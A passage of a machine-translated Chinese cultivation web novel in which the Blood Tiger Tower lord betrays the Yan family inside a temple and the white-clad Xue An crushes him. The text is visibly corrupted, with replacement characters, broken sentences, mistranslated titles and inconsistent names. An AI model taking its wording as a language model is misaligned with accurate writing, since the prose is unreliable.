    "Blood Tiger Tower, welcome the Yan family!"


    Its sound shakes the roof tiles, making people feel discolored.


    Seeing this scene, everyone in the Yan family couldn''t help looking at each other, and they all saw the joy and pride in each other''s eyes.


    was delighted at the powerful strength of the Blood Tiger Tower and proud of their importance to the Yan family.


    After the two join forces, the future will be limitless.


    Yan''s family, since then, will be settled in Li Hentian, becoming a powerful party here.


    The thought of ���� made everyone in the Yan family''s heart hot.


    Only Yan Meishu, who walked at the back of the team, had cold eyes and bowed his head silently.


    Yan Yang was invited to the seat, Guan Ziwang personally accompany him, and everyone in the Yan family was also placed at the main table.


    Then I saw the precious wine presented like flowing water, all kinds of wonderful scenes, I can hardly repeat them.


    Everyone in the Yan family was dazzled by it, and then they started drinking.


    On this side, Yan Yang and Guan Ziwang also had a very happy conversation.


    "What does Patriarch Yan think of my Blood Tiger Tower?" Guan Ziwang smiled and toasted Yan Yang a glass of wine.


    Yan Yang hurriedly tossed back, and then said with a shocked face: "Guan Lou Zhu has a skill under his control.


    Guan laughed when he heard the words, then put down the wine glass in his hand and sighed softly: "Patriarch Yan is polite, but do you know what my situation was before the Blood Tiger Tower?"


    "Oh?" Yan Yang was startled, "What do you say about this?"


    Guan Ziwang''s complexion became difficult to look, and a look of hatred flashed in his eyes, and he said in a deep voice: "When Li Hentian was still in charge, he was in charge of this world, but he was extremely domineering when he was a man. I can only steal my life with incomparable humiliation!


    Speaking of this, Guan Ziwang suddenly raised his head, "Patriarch Yan, I said this has no other meaning, but I just want to tell you that my Blood Tiger Tower has long hated Li Heng Tianjun, but now the situation is complicated. The Tiger Tower alone is not enough to eat this Lihen City, so I will invite you to form an alliance. This heart can be learned from the sun and the moon!"


    At the end, Guan Ziwang''s tone trembled, very emotional.


    Yan Yang was also greatly moved, and he nodded solemnly, "No need to say, Lord Guan, since I''ve led everyone here, it means I am willing to form an alliance with you!"


    "Okay!" Guan Ziwang was overjoyed, sipped his cheers, and then raised his glass and said, "Come on, you and I drink this cup together, it''s a life and death alliance!"


    Yan Yang hurriedly drank it, and then felt that the relationship was closer.


    At the same time, Yan Mengtao, who had been standing behind Yan Yang with a smile, walked up and filled the glass of wine for the two.


    Guan Ziwang was startled slightly, "This is..."


    "Oh, I haven''t introduced it to the original poster yet, this is my little girl Mengtao!" Yan Yang introduced with a smile and then rushed to Yan Mengtao and nodded, "Will I give you a gift to Uncle Guan?"


    Yan Mengtao smiled and lied, "Little girl Mengtao, I have seen Uncle Guan!"


    "Okay! Hahahaha!" Guan Ziwang laughed loudly, "Patriarch Yan''s daughter is indeed a beautiful woman with a beautiful beauty! But how did I hear that Patriarch Yan most relied on a daughter named Meishu!"


    Hearing this, Yan Yang''s expression slightly changed, and the atmosphere suddenly became stagnant.


    Then Yan Yang glanced over Yan Meishu who was sitting in the corner, and said coldly: "The news of the original poster is well-known, but Meishu has been sick recently, and he has ignored family affairs!"


    "Oh! That''s how it is!" Guan Ziwang''s eyes flashed, but he didn''t say anything else.


    When they heard Yan Yang''s words, everyone in the Yan family looked different, but without exception, they all quietly glanced at Yan Meishu in the corner.


    Yan Meishu lowered his head and said nothing, as if he hadn''t noticed everything around him.


    When Yan Mengtao saw this, a touch of pride appeared on the corner of her mouth, and then she said softly: "Uncle Guan, I have heard what you and my father said just now. Now that Li Hentian is dead, what do you plan to do next? ".


    This question is at the very point. Many people have their ears pricked up, and even Yan Yang narrows his smile, quietly looking at Guan Ziwang.


    Guan Ziwang was startled slightly, and then said approvingly: "I can''t think that Ling Qianjin is a female stream, but I have such knowledge! This is exactly what I want to say, now that Li Heng Tianjun is dead, and Li Heng City is considered a masterless person. Land, but it doesn��t make much sense to seize other places. Only the Temple of Lihen in the middle is the place to be contended!"

 Chapter 1224： Enter the temple and wait and see

    Speaking of this, greed flashed in Guan Ziwang��s eyes, "Li Heng Tianjun has been in charge of this realm for tens of thousands of years, and the accumulated wealth is even more innumerable, and the hiding place is this temple of Li Heng. As long as I capture this place, then I will be able to grasp the most important lifeline of Li Hentian!"


    Hearing that there is wealth left by Li Hen Tianjun, Yan Yang''s eyes suddenly burst, "So that''s it, how does the original poster Guan plan to seize it?"


    "Hehe, if in normal times, we might not be able to get close to this temple of Liheng at all, because the guards there are the guards of Liheng''s confidant, who are extremely powerful. But now even Lihengjun is dead. All of Wei''s strength has also fallen sharply. In order to survive, they have already dispersed. The most important thing now is how to break the protective barrier of the Temple of Li Hen!"


    Yan Yang became more excited as he listened, and then he was full of joy to discuss with Guan Ziwang what to do next.


    Yan Mengtao also accompanied him, and from time to time he would say a few jokes, causing the two to laugh, and the atmosphere was simply harmonious.


    In this case, the whole hall is also a scene of joy. Whether it is the Blood Tiger Tower or the Yan family, they think the future is bright, so they all get together and start drinking and having fun.


    Under this joy, Yan Meishu sitting in the corner seems to have been forgotten.


    Even if someone glanced over here occasionally, when they saw Yan Meishu who bowed his head silently, he couldn''t help but shook his head secretly, thinking that this once-prosperous eldest lady was going to suffer a terrible decline.


    This banquet lasted until late at night. In the end, including Yan Yang, almost all members of the Yan family were drunk and unconscious.


    Guan Ziwang smiled and ordered his subordinates to take all of the Yan family away and settle down. At this moment, Yan Meishu slowly got up, took a deep look at Guan and looked at himself, then turned away.


    Looking at Yan Meishu''s back, the smile on Guan Ziwang''s face gradually stiffened.


    Although from the aura, this Yan Meishu is just an ordinary little girl, but Guan Ziwang suddenly held up, and there seemed to be a lot of secrets in her back.


    This feeling of being unable to completely control the overall situation made Guan Ziwang''s eyes cold.


    At this time, the butler quietly walked out of the shadows.


    Guan did not look back, "How is it?"


    The butler whispered: "It''s all settled!"


    "Oh? Where''s that Yan Yang?"


    "The old slave has tried it. This Patriarch Yan is indeed drunk and unconscious, and even the most basic perception of danger has been lost!"


    Guan sneered when he heard the words, "Hehe, I believed it so easily. I''m really wondering. With this ability, how did Yan Yang become the head of a party?"


    The butler was silent, and after a while, he said in a deep voice: "Owner, would you like that woman Yan Mengtao to be sent into your room?"


    Guan thought and waved his hand, "Don''t do it for now! It''s time to use this Yan family, and it''s not too late to play around after things are over!"


    The butler nodded, then bowed back into the darkness and disappeared.


    Guan leaned back on the chair looking forward to himself, the brilliance in his eyes flickered, then the corners of his mouth raised, revealing a smug sneer.


    "I really thought I would appreciate the strength of your Yan family? If it weren��t for the fact that Li Hentian had always been extremely defensive against my Blood Tiger Tower, and even the protective barrier of the temple was set to strictly guard my Blood Tiger Tower, I would look for You rubbish? Still thinking of sharing the world with me, haha, what a wishful thinking!"


    "But the little lady named Mengtao looks pretty good. Once I have seized the temple wealth, I will enjoy it!"


    After that, Guan Ziwang Jiejie laughed strangely, with blood flickering in his eyes.


    It looks like a blood tiger lying on the seat.


    One night passed quickly.


    Wait until the next morning, Yan Yang woke up from the wine, and apologized to Guan Ziwang with an apologetic face.


    Guan Ziwang laughed, "Do you and my brother still need to talk about this? Hurry up and have breakfast, and then we will leave the Temple of Hatred immediately!"


    Yan Yang shook his heart, then nodded and said, "Do you do it today?"


    "Of course, this matter sooner rather than later, if we get the Temple of Li Hate one day sooner, we will be able to take the lead one day sooner!"


    "Okay! Let''s go now!"


    Everyone in the Yan family was even more excited after hearing the news, they all geared up, ready to show off later.


    Yan Mengtao seems to be the absolute core of the entire Yan family''s younger generation at this moment. Surrounded by the stars, Yan Mengtao is proud, and walks to the front of Yan Meishu, looked up and down, and then sneered.


    "Yan Meishu, didn''t you keep saying that Mr. Xue has not returned, and all the plots are false? Now my Yan family has formed a life-and-death alliance with the Blood Tiger Tower, and I will soon seize the Temple of Li Hate and enter this world. , What can you say now?"


    �!


    Everyone''s eyes converged on Yan Meishu.


    But Yan Meishu''s face was as cold as ice, and she looked at Yan Mengtao quietly, and then said in an indifferent tone: "No matter what you say, I still stick to my previous views!"


    Yan Mengtao''s complexion changed, and then coldly snorted: "I really can''t cry without seeing the coffin! Then you just wait to see how we get the chance!"


    Yan Meishu nodded, "Okay, I''ll wait and see!"


    "Huh!" Yan Mengtao raised her head proudly, then turned and walked away. U U Reading


    Everyone followed and left, Yan Meishu watched coldly, but his hands gradually clenched together, and even because of excessive force, the nails cut the skin and flesh, and red blood shed.


    Yan Meishu didn''t notice anything, but silently thought in her heart, Mr. Xue, when are you coming back?


    Because of the fall of Lihentian Jun, the situation in Lihencheng has become a mess.


    But when Guan Ziwang led the three thousand disciples of the Blood Tiger Tower and the Yan family to appear on the street, all the forces retreated, and no one dared to lightly grab his edge.


    After all, the strength of the Blood Tiger Tower was already one of the best when Li Heng Tianjun was there, and now he is alone in leaving Heng City, no one dares to provoke it.


    The brigade men and horses rushed straight to the Temple of Li Hate.


    There were countless smoke and dust along the way, which made all the forces and strong people in Liheng City terrified.


    Because they all know that Guan Ziwang is going to attack the Lord of Lihen.


    Once successful, the Blood Tiger Tower is likely to rise, and Guan Ziwang will become the second Li Hen Tianjun.


    Under this thought, all eyes gathered here in an instant.


    The Temple of Lihen at this moment is still majestic and majestic.


    But in the eyes of Guan Ziwang and others, it has lost its former glory, but turned into a huge piece of fat, which is mouth-watering. .


    As Guan Ziwang said, because of the fall of Li Hentian, the strength of the guards who guarded this place was greatly reduced. To survive, these guards chose to escape very wisely.


    Therefore, the Temple of Lihen is already an empty city.

 Chapter 1225： Turn out to be a serious crisis

    But there is a trace of fear in Guan Ziwang''s eyes.


    Because he understands that even if Li Hen Tianjun is dead, the guardian formation he left behind is not something ordinary people can break.


    Yan Yang was the only one who didn''t care, and smiled at Guan Ziwang, "Brother, is this the Temple of Lihen?"


    Guan Ziwang nodded, "Yes! As long as you break the barrier here, the endless wealth in it will belong to you and me!"


    Yan Yang laughed loudly, "It''s easy to say, isn''t it just a guardian barrier? What''s the difficulty! Everyone in the Yan family listened to the order and assembled!"


    The Yan Yang at this moment is full of spirits, and it feels so good.


    With an order, all the elites of the Yan family went out.


    Yan Yang raised his finger to the front, "Children, have you seen it? That is the famous Temple of Lihen. As long as this is captured, then my Yan family will become an inexhaustible clan and enter this world! So you have to do your best. Do your best, do it together! Understand?"


    "Yes!" everyone said in unison.


    Guan Ziwang also shouted at this time: "The first person to break through the barrier of the temple, I would like to reward him with half of the wealth of the Blood Tiger Tower!"


    Boom!


    The sentence ���� caused more sensation than Yan Yang.


    Half the wealth of the Blood Tiger Tower, what an amazing figure!


    Everyone''s eyes were red when thinking of the countless wealth.


    Yan Yang laughed even more, "Lord Guan is really bold, boys, attack!"


    With his hand, the Yan family''s elite attacked together.


    Yan Yang entered Li Hentian this time, he came with a purpose, so the people he led were all elite players who had been selected and selected.


    coupled with the incentive of wealth, so once the attack, the momentum is quite shocking.


    The three thousand disciples of the Blood Tiger Tower followed closely behind.


    But if Yan Yang pays more attention to it, you will find that although the people in the Blood Tiger Tower are also impacting, it seems that all the movements of the Yan family have to be slow.


    It is a pity that Yan Yang has been dazzled by power and has never paid attention to this.


    Boom!


    After hearing a loud noise, the first wave of Yan Jiarui had already rushed to the Temple of Hatred.


    I saw a light curtain suddenly appeared, and when the two collided, a layer of ripples appeared in the light curtain.


    Then he flew out the people who rushed up.


    But this did not stop the Yan family from advancing in the slightest. When the first wave of attackers had just retreated, the second wave had already rushed.


    Boom!


    With the same impact and the same reaction, the people in the second wave were also shaken out.


    The ripples this time seemed to be deeper than before.


    This discovery made Guan Ziwang''s eyes bright.


    You must know that he had spent countless scheming before, but as long as he was from the Blood Tiger Tower, he couldn''t cross the thunder pond for a half step.


    Even the other forces in Lihencheng are the same.


    It can be seen how vicious Li Hentianjun��s plan is.


    But the Yan family is obviously not in the restricted list, at least their attacks have worked.


    In an instant, there were more than a dozen waves of shock.


    I saw the light curtain outside the Temple of Li Hen suddenly shook, and finally a visible crack appeared.


    Guan Ziwang was overjoyed and yelled, "Just work harder and you will be able to blow it away soon!"


    The voice just fell, only to hear a loud boom.


    The light curtain shattered suddenly.


    "Hahahahahaha, Li Heng Tianjun, you didn''t expect it! You deliberately set various restrictions, but I finally broke them!" Guan Ziwang laughed, and the laughter was full of joy.


    Yan Yang also followed with a smile and said, "Brother, it should not be too late, let''s enter the temple as soon as possible!"


    A bit of chill flashed in Guan Ziwang''s eyes, but the smile on his face remained undiminished, and he nodded and said: "Yes, Sanqianerlang listened to the order, enter the hall!"


    With an order, the three thousand disciples of the Blood Tiger Tower walked forward silently. Wherever they passed, they were shocked and rampaged.


    You must know that the Yan family''s elite just broke through the barrier. The formation was in a mess, so the people in the Blood Tiger Tower would inevitably bump into each other.


    "Oh, what are you squeezing?" The Yan family shouted.


    But the people in the Blood Tiger Tower didn''t realize it, and they kept walking inward without stopping.


    Many people in the Yan family were taken aback, and a strange feeling arose in their hearts.


    How is this going?


    Why are the people in the Blood Tiger Tower suddenly changed?


    But Yan Yang still didn''t feel anything, and excitedly followed Guan Ziwang into the temple.


    But seeing this is majestic and magnificent.


    Needless to say anything else, it''s just that the countless luminous orbs on the dome of the main hall are worthless.


    Yan Yang looked red with enthusiasm, turned his head and smiled at Guan Ziwang: "Brother Guan, I like these spirit beads very much. When we divide our wealth, I want these!"


    "Wealth? What wealth?" Guan Ziwang said coldly.


    Yan Yang was stunned, "Brother Guan, have you forgotten? Didn''t we say that, when we open the temple, we will be half of the wealth left by Heng Tianjun?"


    Guan Ziwang took a deep look at Yan Yang, then raised the corners of his mouth, revealing a smirk, "Oh, if you didn''t say it, I really forgot, yes, I did say these things!"


    Yan Yang breathed a sigh of relief, and was about to speak with a smile on his face.


    Seeing that Guan Ziwang''s expression changed, he said coldly: "Unfortunately, I just talked about it, and I didn''t plan to cash it out!"


    These words not only stunned Yan Yang, even Yan Mengtao beside Yan Yang and many of the senior elders of the Yan family were all stupid.


    Yan Yang thought he had misheard, looked at Guan Ziwang in a daze, and then forced a smile: "Brother Guan, you..."


    "Brother Guan? Who is your brother-in-law? I am the host of the dignified Blood Tiger Tower. What are you, you dare to call me brother?" Guan Ziwang shouted in a deep voice.


    Yan Yang felt like he had fallen into an ice cellar, shaking all over.


    is a fool now, and can see that something is wrong.


    But Yan Yang still had the last glimmer of hope in his heart, "Guan...Lou Lord Guan, didn''t you say that we want to form an alliance of life and death, and jointly control this world?"


    Guan Ziwang nodded, "Yes, I did say this before, but you didn''t understand what it means! The so-called Alliance of Life and Death means that we are born in the Blood Tiger Tower, and your Yan family... die!"


    Boom! Yan Yang was struck by lightning and looked at Guan Ziwang in disbelief.


    At this moment, he finally understands that Guan Ziwang''s closeness to him had all ulterior motives.


    is for the Yan family to help them break through the protective barrier of this temple. .


    At this time, Yan Mengtao, who was standing behind her father, couldn''t help but tremblingly shouted: "Guan...Guan Ziwang, don''t you think this is too much? After using my Yan family, do you plan to abandon it?"


    Guan Ziwang Yinxie glanced at Yan Mengtao, and then Jiejie laughed strangely, "Why didn''t you call me Uncle Guan? My lady, you are right. I am really using your Yan family, but you can rest assured that I am not I will abandon you, at least I won��t abandon you! After all...I have to enjoy you! Hahahaha!"

 Chapter 1226： The boy in white shocked the city with 1 punch

    In the unbridled laughter, Yan Mengtao''s complexion was extremely pale, and she staggered back a few steps, her eyes full of panic.


    But at this critical moment, Yan Yang, the head of the family, has not yet woken up from the shock. On the contrary, he shuddered all over, with a shivering expression on his face.


    Guan became more and more proud of what he saw, but at this moment, Yan Meishu, who had been standing behind the crowd, suddenly raised her head and shouted in a deep voice: "Yan Jiaerlang, listen to my orders and fight back!"


    gave an order and awakened the Yan family who were in confusion.


    The first to respond was the Yan family elites. They were shocked, and then they moved their hands at the people in the Blood Tiger Tower without hesitation.


    For a time, the blood was everywhere, and the killing sound shook the sky.


    Because of being caught off guard, the people in the Blood Tiger Tower suffered a great loss as soon as they came into contact.


    At least hundreds of disciples of the Blood Tiger Tower were killed by one blow, and the wounded were countless.


    Guan Ziwang, who was originally complacent, couldn''t help being furious when seeing this scene, and then directed the angry spearhead at Yan Meishu.


    "What a stinky lady, dare to calculate my Blood Tiger Tower, I will strip you off and hang it in front of the temple to show the public!"


    After that, Guan Ziwang went straight to Yan Meishu murderously.


    What the killing intent meant, everyone couldn''t help being horrified.


    Yan Mengtao screamed even more, before hiding aside without hesitation.


    An open space was instantly vacated in the field, and only Yan Meishu was left alone facing the charged Guan Ziwang.


    But even so, Yan Meishu still didn''t have the slightest fear, but shouted loudly: "Assemble one place, quickly break through! Don''t have illusions, the Blood Tiger Tower is trying to kill us!"


    Guan was so angry that his eyebrows were erected, "Smelly girl, I dare to do my good deeds repeatedly, I will kill you first!"


    said, he has rushed to the front, and then shot out with a palm.


    Yan Mei is inevitable, so she has to urge the whole body''s cultivation base and Guan Ziwang to shake.


    But based on her strength, how could she be Guan Ziwang''s opponent who has been famous for a long time.


    After only hearing a muffled sound, Yan Meishu flew out like a kite with a broken line. After landing, there was no sound, and she knew nothing about life or death.


    "Miss!"


    "Miss Mei Shu!"


    Because of what Yan Meishu just said, the Yan family members who are full of respect for him screamed.


    At this time, Guan Ziwang sneered and retracted his palm, and said proudly: "It is not bad for the Yan family to have descendants like you, but it is a pity that you have to die if you offend me!"


    After ���� said, Guan Ziwang turned and looked at the Yan family, smiling sadly, "And you, you have to die too! Do it!"


    When I gave the order, I saw black shadows popping out in the shadows, black light flashed, and tigers roared into the sky.


    These shadows are just like the killing gods who walked out of hell, and every blow would take a person''s life.


    The situation reversed instantly.


    Everyone in the Yan family was firmly suppressed in a corner, resisting desperately, but facing an opponent who could crush him, everything was just in vain.


    Guan Ziwang showed a smug smile, so he looked at it with leisure, and the blood glowed in his eyes.


    But at this moment, the space in the center of the temple suddenly began to ripple.


    At the beginning, the ripples were very slight, but almost instantly, the ripples were like ocean waves, with waves.


    The disciple of the Blood Tiger Tower who happened to be standing in the place where the ripples touched, did not even hum, and was directly crushed by the powerful spatial force.


    Guan Ziwang was shocked, and a look of horror appeared in his eyes.


    Before he could speak, he saw the ripples in the space gradually turn into a vortex, and then in the black hole at the center of the vortex, a hand that looked like a sapphire was stretched out.


    When this hand appeared, an overwhelming power that was enough to make the sky tremble also appeared.


    The power is pointed out, Guan Ziwang is sweating like pulp, fighting with two strands, and there is no more pride.


    At the same time, seeing the space trembling endlessly, a figure gradually emerged.


    at last.


    A young man dressed in white, with sharp eyebrows and an indifferent expression appeared in front of everyone.


    The audience was shocked, no one dared to speak.


    The young man looked around the audience, then raised his sword eyebrows, and said lightly: "What? Before I return, are you ready to harvest the spoils?"


    At this time, the person closest to the boy was the big brother of the Blood Tiger Tower, the big disciple of Guan Ziwang, the first of three thousand children.


    He was shocked slightly, and then he came to his senses. Although the young man in white clothes is majestic, he is the big brother of the Blood Tiger Tower, he has always acted arrogantly, so he winked at the people around him, and then moved his hands together .


    In a short while, dozens of disciples from the Blood Tiger Tower attacked this young man from all directions.


    Guanghua Road, the momentum is quite shocking.


    could face such a combined blow, but saw a sneer from the corner of the white-clothed boy��s mouth, "Okay, since you do it first, don��t blame me for being rude!"


    finished, but saw the young man slowly raise his hand, and then blasted a punch.


    Boom!


    This punch is like turning the sky and the earth upside down.


    The so-called big brother only had time to let out a scream, and then he was directly bombarded by his fist.


    And this is just the beginning, but seeing where the fist flies, the disciples of the Blood Tiger Tower can''t even resist, they burst one after another like fireworks.


    in an instant.


    The three thousand disciples of the Blood Tiger Tower were wiped out by this punch.


    A large blank area appeared in the crowded hall of the temple.


    Everyone in the Yan family looked stupid.


    At this moment, the white-clothed boy glanced at them lightly, and said coldly: "It turns out that there are still others, so let''s go to death together!"


    Say it As soon as the boy raised his foot, his figure instantly rushed to the front of the Yan family, and then raised his fist again.


    Fist power stirred up layers of violent winds, and came straight to the Yan family with the supreme power.


    And standing at the forefront is Yan Yang, the head of the Yan family.


    At this moment, his face was as pale as paper, and he was trembling all over, but when he saw the face of the teenager, he suddenly trembled, and then as if thinking of something, he shouted in surprise: "Mr. Xue, you are Xue Mr. An Xue?"


    In the shouting, a glimmer of bright light flashed in the young man��s eyes, and the fist in his hand stopped abruptly, and he stopped in front of Yan Yang��s nose. The distance made Yan Yang even feel the fist. The rising temperature made him swallow hard.


    At the same time, the violent hurricane caused by this punch passed through the Yan family and directly attacked the building behind.


    rumbling!


    Amidst a loud noise, smoke and dust were seen behind everyone in the Yan family, and the walls of the temple had already been knocked down by this punch.


    And it was not over yet. As soon as I saw Yu Wei''s passing, the buildings in Li Hencheng were like paper, and the buildings collapsed to pieces.


    There were loud noises, and in an instant, a straight passage appeared behind the Yan family, and the length directly penetrated the entire city of Lihen. .


    This earth-shattering scene frightened everyone, and Yan Yang looked at the white-clothed boy in horror. If it weren''t for the force of his aura, he would have been kneeling on the ground and unable to get up.


    At this time, I saw the white-clothed boy raised his eyebrows slightly, "Who are you? Why do you know my name?"

 Chapter 1227： Talk to me about cooperation, you have this strength...

    Yes, it is Xue An who appears here!


    Yan Yang was so scared that his tongue became a little short, and he tremblingly said: "Big...sir, please spare your life! I...I am a member of the Yan family!"


    "The Yan family? Which Yan family?"


    Yan Yang trembled: "Yan... Yan Meishu is my daughter!"


    Xue An was stunned when he heard the words, and then looked at Yan Yang with a playful look, "Oh? Yan Meishu is your daughter, where is the girl Yan now?"


    Hearing Xue An''s words, Yan Yang''s heart just let go a little bit, anyway, as long as this Mr. Xue knows his daughter.


    thought in his heart, Yan Yang raised his hand tremblingly, and pointed to Yan Meishu who was lying on the ground in the distance, who didn''t know his life or death, "Big...sir, that''s it!"


    Xue An looked over, first for a moment, then there was a chill in his eyes.


    "How is this going?"


    The powerful power contained in ����''s words made everyone in the nearest Yan family change their faces, and they took a dozen steps back with amazement.


    At this moment, Yan Mengtao, who had been hiding behind Yan Yang, suddenly leaned out, pointed at Guan Ziwang who was standing in the distance, and shouted softly: "My lord, sister Meishu was injured by this guy!"


    "Oh?" Xue An''s eyes flashed, and he looked up at Guan Ziwang, who was sweating and pale.


    "Miss Yan was injured by him?"


    "That''s right! And our Yan family was also deceived by this guy before entering this temple. I hope that the adults will learn from you!" At this point, Yan Mengtao was eager to cry, her eyes were full of crystal tears. It looks pitiful.


    It''s a pity that all her elaborate disguise was in vain, because Xue An didn''t even look at her at all, but raised his head and looked at Guan Ziwang quietly.


    "She...you hurt her?"


    Under Xue An''s cold gaze, Guan Ziwang shuddered, with a reluctant smile on his face, "Big...sir, I... I really don''t know that this woman is your friend, I damn, I damn! "


    Unlike everyone in the Yan family, Guan Ziwang''s cultivation base is much more powerful than theirs, but the more he is like this, the more he can feel the powerful deterrence from Xue An''s body, like a Yuan Yue Zhi.


    This kind of deterrence is even stronger than before when facing Lihentianjun.


    How can this not make Guan Ziwang frightened.


    Now he can be sure that this white-clothed boy who looks like a fairy is very likely to wipe out the existence of Li Hen Tianjun.


    Think about yourself like an ant in front of Li Hentian Jun, then compared to this young man, isn''t he more vulnerable to a blow?


    Because of this, he put his posture so low, even to the point of humility.


    Seeing this scene, everyone in the Yan family also experienced a slight commotion.


    Just now Guan Ziwang didn''t look like this when facing them, the kind of arrogance is still vivid, but in front of this young man, it was like a mouse meeting a cat.


    This contrast is too strong, and it even makes everyone''s hearts feel an extremely absurdity.


    And this Yan Mengtao stared at Xue An''s back blankly, his eyes became more and more hot.


    If you can cling to such a strong one, your future future will be truly limitless! As soon as this thought appeared, it spread wildly in Yan Mengtao''s heart, and even made her body tremble slightly.


    Xue An ignored these. At this moment, the corners of his mouth gradually rose, revealing a smile that seemed like nothing.


    "Since you know you deserve to die, do it yourself!"


    The cold voice echoed in the temple, and Guan Ziwang gradually widened his eyes and was silly there.


    What he said was damn, nothing more than a few scenes, but who would have thought that this boy in white would take it seriously.


    "Huh?" Xue Anjian raised his eyebrows, "Didn''t you say that you deserve to die? Then I''ll give you this chance, why? Could it be that you are lying to me? Or is it... you want me to cut it for you?"


    "This...this..." Guan Ziwang stammered, his face flushed.


    At this moment, the butler of the Blood Tiger Tower suddenly rushed out of the shadow of the temple, and then shouted loudly.


    "Owner, take the armor!"


    After ���� said, he raised his hand and threw it away, and a brilliance came straight to Guan.


    Guan Ziwang was overjoyed, and he lifted his foot to the ground, and the whole person rushed out like a cannonball, directly facing this brilliance.


    The two met in mid-air, and only heard a soft click.


    Then I saw this brilliance glowing with blood, completely enveloping Guan Ziwang like a drop of mercury.


    Immediately afterwards, the sound of metal gears rotating, rubbing, and docking sounded as the radiance lingered.


    In an instant, Guan Ziwang''s entire body was wrapped in a layer of armor exuding a thick **** brilliance.


    The shape of this armor is very exaggerated and weird. The streamlined metal lines depict the body of a tiger, while Guan Ziwang''s helmet is a huge tiger head.


    At this moment, in the eyes of the tiger''s head, the cold blood glow flashed, staring at Xue An.


    Under this armor full of icy mechanical beauty, Guan Ziwang''s power is also rising.


    These sights shocked everyone in the hall.


    Yan Yang trembled: "It''s the best card of the Blood Tiger Tower, Blood Tiger Armor!"


    At the same time, I heard Guan Ziwang Jiejie laughed strangely, "Mr. Xue, I''m sorry, I suddenly don''t want to die! Not only don''t want to die, I think we should have a good talk!"


    In his words, he changed his depression, full of strong confidence.


    And all this is because of the blessing of this armor.


    You must know that when Lihentianjun was still alive , it was very unpleasant to see the Blood Tiger Tower, but the reason why it did not start to eradicate it is largely because of this set of blood tiger armor.


    If you talk about strength alone, Ten Guan Ziwang may not be Li Hentian Jun��s opponent.


    But once this set of armor is blessed, although this level of self-winding cannot be said to defeat Li Hen Tianjun, at least he has the power to protect himself, and even with all his strength, he may lose both.


    For this reason, although Li Hentian Jun was afraid of him, he could only let it go.


    Xue An raised his head to look at Guan Ziwang who was suspended in the air, and said with interest: "Talk about it? What to talk about?"


    Guan Ziwang smiled, "You killed my three thousand disciples in the Blood Tiger Tower. I don''t plan to care about this, because the big things must be informal! And you and I are powerful. If we can work together, then this No one will hate the sky as our opponent. Wouldn''t it be nice to share the world at that time!"


    This proposal sounds tempting, and Guan Ziwang is very self-aware, because if these words were just said, they would have no effect at all.


    But it''s different now. With the armor in his body, Guan Ziwang has a lot of confidence to speak.


    Only when you have the strength, will someone listen to your words.


    And in Guan Ziwang''s opinion, anyone with a normal mind will consider this proposal carefully. .


    But he never expected that after hearing these words, Xue An actually shook his head slightly, and then said lightly: "I''m sorry, I am not interested in sharing the world at all! And..."


    Xue An suddenly raised his eyes and said coldly: "Talk to me about cooperation, do you have this strength?"

 Chapter 1228： Immortal? Then I will kill you...

    "You..." Guan Ziwang''s expression changed, and the armor on his body began to tremble and change like running water, and then sneered.


    "Hehe, I hope you can figure it out, I am not afraid of you, now I have armor blessings, but the real immortal body, you..."


    Guan Ziwang''s words were not finished yet, but Xue An''s figure suddenly disappeared in place, and when he appeared again, he had already come to him.


    Such a ghostly speed made Guan Ziwang''s whole body shake, and there was a look of horror in his eyes.


    At the same time, I just listened to Xue An''s cold voice: "Immortality and immortality? Well, then I will kill you!"


    After that, Xue An raised his hand and blasted out another punch.


    This punch seemed to have surpassed the boundary of time and space. Guan Ziwang wanted to dodge, but was shocked to find that he had been firmly locked, and there was no way to avoid it. He could only watch this fist expand rapidly in his eyes.


    Under the urgency, the blood tiger armor on his body trembled suddenly, and then he squirmed quickly, forming a shield in a short period of time.


    At the same time, Xue An��s fist arrived.


    The two collided directly.


    Boom!


    A shock wave visible to the naked eye suddenly spread, and the tyrannical sound wave even shook the entire temple.


    Immediately afterwards, the armor on Guan Ziwang let out a mournful cry, and then under Xue An''s powerful fist, it flew out like a meteor.


    boom!


    The exquisite decoration on the dome of the Temple of Lihen was directly destroyed, and the crystal clear spirit beads also smashed down.


    With smoke and dust everywhere, Guan Ziwang''s body smashed the dome of the temple into a large humanoid hole, and then slammed it diagonally towards the distant building.


    bang bang bang!


    Amidst the continuous explosions, Guan Ziwang was like a cannonball, smashing dozens of buildings, and finally stopped after blasting into a magnificent building.


    Everyone is stupid.


    Because at the moment Guan Ziwang and the Yan family entered the Temple of Lihen, all the powerful and forces in the city of Lihen gathered here one after another, wanting to see the final result.


    I didn''t expect that before I saw any clues, I witnessed such a scene.


    Amidst the shock of the audience, this magnificent building uttered an overwhelmed moan, and then it slowly fell over and turned into ruins in a loud noise.


    At the moment before the dump, the plaque hanging on the building also fell and turned into powder.


    Three characters are written on the plaque, Blood Tiger Tower!


    The sky was full of smoke and dust, and people stared blankly, until after a while, someone trembled: "The person who just... just flew out, why do I look at Guan Ziwangguan who is like the Blood Tiger Tower?"


    Someone next to him also nodded, and then said with the same horror: "Yes, I also saw him! And...he seems to be wearing armor!"


    Everyone was shocked.


    You must know that since the fall of Li Hentian Jun, the strength of self-respect in this Li Hencheng Zhongguan should be ranked first.


    And this is still under the condition that he doesn''t use the strongest hole card, Blood Tiger Armor.


    Once ���� is used, then his strength will be greatly improved, and it can even smash the powerhouse of Heavenly Sovereign level.


    But it was such a existence, and he was blown away by life, smashing all his buildings, and falling into a situation where he did not know his life or death.


    Who is the one who did it?


    would have such a powerful strength?


    This idea can''t help but surface in everyone''s hearts.


    At this moment, a light and shadow flashed by, and then a young man in white appeared in the air.


    His appearance caused a violent commotion among the crowd.


    "Who is this person?" someone asked suspiciously.


    "I have never seen it before, but only with this detached attitude on him, you can know that this person is absolutely extraordinary!" Someone said solemnly.


    But some people''s attention is a little off, for example, the group of young people who gather in the distance are purely coming to see the excitement.


    Especially those girls, almost all of them shined.


    "What a handsome little brother!" Many wealthy daughters watched intently, and exclaimed again and again.


    But their statement made the faces of the teenagers who followed them all look a little ugly.


    "Huh! What can you do to be beautiful? If you don''t have the strength, it''s just a waste!" The man sneered with a strange yin and yang.


    At this moment, I saw Xue An standing in the void with his hand, looking at the ruins where the smoke and dust gradually settled in the distance, and said lightly: "What? Is it just this skill? If you lose like this, then you What a waste of this armor!"


    As soon as the voice of ���� fell, the ground suddenly began to tremble, and a majestic aura was gradually taking shape, and the wind and clouds above the ruins that were disturbed changed.


    "This...this is..." Someone screamed, but he didn''t wait for him to finish.


    I saw the ruins suddenly explode, the bricks and tiles splashed in all directions, and a loud tiger roar resounded across the world.


